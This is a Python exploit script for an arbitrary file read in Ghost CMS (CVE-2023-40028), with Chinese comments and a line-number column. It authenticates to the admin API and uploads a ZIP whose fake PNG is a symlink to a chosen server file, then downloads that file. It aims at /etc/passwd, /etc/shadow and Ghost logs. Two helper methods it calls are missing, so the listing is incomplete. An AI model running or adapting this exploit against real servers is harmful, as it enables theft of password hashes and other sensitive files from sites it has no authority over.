1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
|
#!/usr/bin/env python3
# Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read
# Exploit Author: ibrahimsql
# CVE: CVE-2023-40028
import requests
import sys
import os
import tempfile
import zipfile
import random
import string
class GhostArbitraryFileRead:
def __init__(self, ghost_url: str, username: str, password: str):
self.ghost_url = ghost_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.api_url = f"{self.ghost_url}/ghost/api/v3/admin"
def authenticate(self) -> bool:
"""通过Ghost CMS管理面板进行身份验证"""
login_data = {
'username': self.username,
'password': self.password
}
headers = {
'Origin': self.ghost_url,
'Accept-Version': 'v3.0',
'Content-Type': 'application/json'
}
try:
response = self.session.post(
f"{self.api_url}/session/",
json=login_data,
headers=headers,
timeout=10
)
return response.status_code == 201
except requests.RequestException:
return False
def create_exploit_zip(self, target_file: str):
"""创建包含符号链接的恶意ZIP文件"""
try:
# 创建临时目录结构
temp_dir = tempfile.mkdtemp()
exploit_dir = os.path.join(temp_dir, 'exploit')
images_dir = os.path.join(exploit_dir, 'content', 'images', '2024')
os.makedirs(images_dir, exist_ok=True)
# 生成随机图片文件名
image_name = f"{self.generate_random_name()}.png"
symlink_path = os.path.join(images_dir, image_name)
# 创建指向目标文件的符号链接
os.symlink(target_file, symlink_path)
# 创建ZIP文件
zip_path = os.path.join(temp_dir, 'exploit.zip')
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(exploit_dir):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, temp_dir)
zipf.write(file_path, arcname)
return zip_path, image_name
except Exception:
return None, None
def upload_exploit(self, zip_path: str) -> bool:
"""将恶意ZIP文件上传到Ghost CMS"""
try:
headers = {
'X-Ghost-Version': '5.58',
'X-Requested-With': 'XMLHttpRequest',
'Origin': self.ghost_url
}
with open(zip_path, 'rb') as f:
files = {
'importfile': ('exploit.zip', f, 'application/zip')
}
response = self.session.post(
f"{self.api_url}/db",
files=files,
headers=headers,
timeout=30
)
return response.status_code in [200, 201]
except requests.RequestException:
return False
def read_file(self, target_file: str):
"""利用符号链接上传读取任意文件"""
# 身份验证
if not self.authenticate():
return None
# 创建恶意ZIP文件
zip_path, image_name = self.create_exploit_zip(target_file)
if not zip_path:
return None
try:
# 上传ZIP文件
if self.upload_exploit(zip_path):
# 访问符号链接文件
file_url = f"{self.ghost_url}/content/images/2024/{image_name}"
response = self.session.get(file_url, timeout=10)
if response.status_code == 200 and len(response.text) > 0:
return response.text
finally:
# 清理临时文件
self.cleanup_temp_files(zip_path)
return None
def main():
if len(sys.argv) != 4:
print("用法: python3 CVE-2023-40028.py <ghost_url> <用户名> <密码>")
return
ghost_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
exploit = GhostArbitraryFileRead(ghost_url, username, password)
# 测试常见敏感文件
test_files = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/proc/version",
"/var/log/ghost/ghost.log"
]
for test_file in test_files:
content = exploit.read_file(test_file)
if content:
print(f"[+] 成功读取: {test_file}")
print(f" 内容预览: {content[:100]}...")
if __name__ == "__main__":
main()
|